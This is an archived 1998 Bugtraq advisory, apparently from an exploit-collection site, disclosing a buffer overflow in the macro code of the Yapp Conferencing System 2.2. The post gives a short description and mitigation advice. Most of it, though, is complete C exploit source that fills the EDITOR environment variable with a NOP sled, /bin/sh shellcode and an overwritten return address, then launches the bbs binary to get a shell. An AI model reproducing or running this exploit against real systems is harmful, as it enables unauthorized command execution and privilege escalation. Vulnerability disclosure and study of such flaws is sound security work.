Buffer overflow in the Yapp Conferencing System Version 2.2

Summary
Description:standard overflow
Author:satan <satan@FREENET.NETHER.NET>
Compromise:Run arbitrary commands as the uid yapp is running under (often 'yapp').
Vulnerable Systems:This exploit is for x86/Linux . Any other platform running Yapp should be vulnerable.
Date:20 January 1998
Details


Date: Tue, 20 Jan 1998 03:14:01 -0500
From: satan <satan@FREENET.NETHER.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: Buffer overflow in Yapp Conferencing System...

This is my first Bugtraq post, hope I'm doing this right...

The Yapp Conferencing System Version 2.2 (and others?) has an exploitable
buffer overrun in it's macro processing code. On line 215 of macro.c, we
see:

sprintf(buff,"%s=%s",name,value);

The variable "value" is taken from the environment and is never checked to
ensure that it's length does not exceed the ammount of space remaining in
the buffer after "NAME=" has been inserted. It is trivial to overflow
"buff" by defining "NAME" in the environment to contain a string longer
then the size of "buff" (512 characters) minus the length of "NAME=". I
have included an exploit which I wrote for Intel 80x86/Linux, it uses the
variable "EDITOR" (which I selected compeletely at random). This bug is
most like not going to have serious security implications, since Yapp
hardly ever runs setuid root (in fact, the README suggests creating a
special user to run Yapp as), but I could see a situation where an
attacker gains access to the special Yapp uid, replaces the Yapp binary
with a trojan version, and then waits for root to run it. If you're
looking for a way to patch this hole, read the exploit source.
-------------------------------------------------------------------------------



  [Part 2, ""  Text/PLAIN  73 lines]
  [Unable to print this part]

/*
 * Exploit for "Yapp Conferencing System, Version 2.2".
 * By Dave Bowman, for Sandra, on January 13 1998.
 *
 * Description:
 *
 * The Yapp Conferencing System client handles environment variables
 * without doing bounds checking, allowing one to overflow a buffer 
 * in the "bbs" executable onto the stack. Using this technique, it
 * possible to obtain a shell running as the user which Yapp is setuid
 * to (in some cases, root).
 *
 * Usage:
 *
 * bash$ gcc -o yapp_exploit yapp_exploit.c
 * bash$ ./yapp_exploit
 * bash#
 *
 * You'll have to change the definition of "BBS_PROGRAM" in the source. You
 * may also need to alter the offset, but -1000 worked for me.
 *
 * Temporary fix:
 *
 * bash# chmod u-s /usr/local/bin/bbs
 *
 * Long term fix:
 *
 * Either change the sprintf (3) call on line 215 of macro.c to something
 * which checks the bounds of the data it copies, or simply force strings
 * read in from the environment to a specific length, i.e.
 *
 * env_string [511] = '\0';
 *
 * if your buffer was 512 characters wide. Please keep in mind however,
 * in terms of security, Yapp is a _very_ poorly writen program and
 * should probably not run setuid anyone, let alone root. If you can
 * possibly avoid it, don't run Yapp setuid.
 *
 * And without further ado...
 *
 */

#if ! defined (__i386__) || ! defined (__linux__)
#error Intel 80x86/Linux platform required.
#endif

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define BUFFSIZE	512 - strlen ("EDITOR=")	/* Size of buffer. */
#define OFFSET		-1000				/* Offset. */
#define BBS_PROGRAM	"/home/dave/yapp/bbs"		/* Path to program. */

/* Function which returns the base address of the stack. */
long get_esp (void)
{
	__asm__ ("movl %esp, %eax\n");
}

/* Machine code instructions to execute /bin/sh, I had them here in */
/* global for a reason and now I just don't feel like playing with */
/* the stack offset anymore. */
unsigned char exec_shell [] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* Main function, duh. */
int main (void)
{
	unsigned char buff [518];		/* Buffer to hold our data. */
	unsigned char *ptr;			/* Pointer. */
	int count;				/* Counter. */
	unsigned long *address_ptr;		/* Long pointer. */

	/* First we fill the buffer with NOP instructions. */
	(void) memset (buff, 0x90, sizeof (buff));

	/* Then we copy our shell code into the buffer. */
	ptr = buff;
	ptr += BUFFSIZE - strlen (exec_shell);
	for (count = 0; count < strlen (exec_shell); count++)
		*ptr++ = exec_shell [count];
	
	/* Now we insert our return address into ebp and eip. */
	address_ptr = (unsigned long *) &buff [509];
	for (count = 0; count < 2; count++)
		*address_ptr++ = get_esp () + OFFSET;
	
	/* Here we terminate the buffer as a string... */
	ptr = (unsigned char *) address_ptr;
	*ptr = '\0';

	/* And attempt to load it into our environment. */
	unsetenv ("EDITOR");
	if (setenv ("EDITOR", buff, 1)) {
		perror ("setenv");
		exit (1);
	}

	/* Finally, we execute Yapp. */
	(void) execl (BBS_PROGRAM, BBS_PROGRAM, NULL);
	perror (BBS_PROGRAM);
	exit (1);
}

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: